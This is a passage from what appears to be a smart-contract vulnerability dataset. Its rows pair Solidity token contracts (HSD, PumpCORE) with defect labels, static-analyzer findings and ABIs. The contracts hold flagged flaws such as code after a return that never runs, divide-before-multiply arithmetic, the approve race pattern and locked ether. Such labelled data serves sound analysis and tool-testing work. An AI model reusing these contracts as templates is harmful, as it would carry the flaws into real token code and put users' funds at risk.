50, 51, 52, 53, 54, 55, 56, 57]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Wrapped_Dogecoin.sol": [32, 33, 34]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Wrapped_Dogecoin.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Wrapped_Dogecoin.sol": [14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Wrapped_Dogecoin.sol": [16]}}] | [] | [{"rule": "SOLIDITY_ERC20_APPROVE", "line": 59, "severity": 2}, {"rule": "SOLIDITY_ERC20_TRANSFER_SHOULD_THROW", "line": 36, "severity": 1}, {"rule": "SOLIDITY_ERC20_TRANSFER_SHOULD_THROW", "line": 47, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 14, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 16, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 20, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 25, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 26, "severity": 1}] | [{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | MIT | false | bzzr://eafe0704c92a121f12d8346b757a684147e4c6fec95bf88478f94647156a1ab7 |
|||
HSD | 0x12b2028d5ecb59a7172c3d784f8938040e234fb6 | Solidity | pragma solidity ^0.4.22;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract HSD is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "HSD";
string public constant symbol = "HSD";
uint public constant decimals = 18;
uint256 public totalSupply = 100000000e18;
uint256 public totalDistributed = 80000000e18;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value = 1500e18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
constructor() public {
owner = msg.sender;
//把设定好的数量分配给创建者
balances[owner] = totalDistributed;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = address(this).balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["214"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["30"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["36", "63", "62", "61"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["107"]}] | [{"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [96]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [36]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"HSD.sol": [161]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [192, 193, 183, 184, 185, 186, 187, 188, 189, 190, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [173, 174, 175, 176, 177, 178, 179, 180, 181]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [206, 207, 208, 209, 210]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [224, 225, 217, 218, 219, 220, 221, 222, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [107, 108, 109, 110, 111]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [195, 196, 197, 198, 199, 200]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [212, 213, 214, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [227, 228, 229, 230, 231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [164, 165, 166]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [202, 203, 204]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [31]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [32]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"HSD.sol": [113, 114, 115, 116, 117]}}, {"check": "function-init-state", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [69]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"HSD.sol": [109]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [183]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [183]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [164]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [202]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [227]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [119]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [119]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [195]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [183]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [195]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [217]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [202]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [173]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"HSD.sol": [173]}}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High", "lines": {"HSD.sol": [36]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"HSD.sol": [67]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"HSD.sol": [161]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"HSD.sol": [65]}}] | [{"error": "Integer Overflow.", "line": 24, "level": "Warning"}] | [{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 31, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 37, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 43, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 164, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 202, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 206, "severity": 1}, {"rule": "SOLIDITY_DIV_MUL", "line": 161, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 195, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 52, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 54, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 56, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 57, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"value","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"finishDistribution","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getTokens","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"distributionFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"who","type":"address"}],"name":"getTokenBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalRemaining","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_tokenContract","type":"address"}],"name":"withdrawForeignTokens","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalDistributed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"blacklist","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Distr","type":"event"},{"anonymous":false,"inputs":[],"name":"DistrFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"}] | v0.4.24+commit.e67f0147 | false | 200 | Default | false | bzzr://61a543874784087522a888ada505c2955638ab2e53d11f97999b94f884888715 |
||||
PumpCORE | 0xf5e5b1d33d139f03dfeed0b2215d4f0524c4e01d | Solidity | pragma solidity ^0.5.0;
/**
*"SPDX-License-Identifier: MIT"
*PumpCORE Token Contract source code
*PCORE is a CORE fork that has adopted some of the deflationary airdrop tokenomics of PRIA.
* Initial supply is 100,000 tokens.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract PumpCORE is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "PumpCORE";
string constant tokenSymbol = "PCORE";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 100000000000000000000000;
uint256 public basePercent = 100;
/**
* Mint is in constructor ONLY
*/
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findOnePercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(1000);
return onePercent;
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findOnePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = findOnePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
} | [{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["135"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["87", "86", "88"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"PumpCORE.sol": [90]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"PumpCORE.sol": [127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PumpCORE.sol": [75, 76, 77]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PumpCORE.sol": [72, 73, 71]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PumpCORE.sol": [67, 68, 69]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PumpCORE.sol": [107, 108, 109]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PumpCORE.sol": [175, 176, 177, 178, 179, 180]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PumpCORE.sol": [104, 105, 103]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PumpCORE.sol": [134, 135, 136, 137, 138]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PumpCORE.sol": [140, 141, 142, 143, 144, 145]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PumpCORE.sol": [147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PumpCORE.sol": [99, 100, 101]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"PumpCORE.sol": [168, 169, 170, 171, 172, 173]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"PumpCORE.sol": [1]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"PumpCORE.sol": [72, 73, 71]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"PumpCORE.sol": [75, 76, 77]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"PumpCORE.sol": [67, 68, 69]}}, {"check": "locked-ether", "impact": "Medium", "confidence": "High", "lines": {"PumpCORE.sol": [96, 97, 98]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PumpCORE.sol": [88]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PumpCORE.sol": [89]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PumpCORE.sol": [86]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"PumpCORE.sol": [87]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"PumpCORE.sol": [89]}}] | [] | [{"rule": "SOLIDITY_DIV_MUL", "line": 51, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 140, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 135, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 135, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 57, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 58, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 59, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 83, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 84, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 82, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 86, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 87, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 88, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 89, "severity": 1}] | [{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basePercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"findOnePercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedVal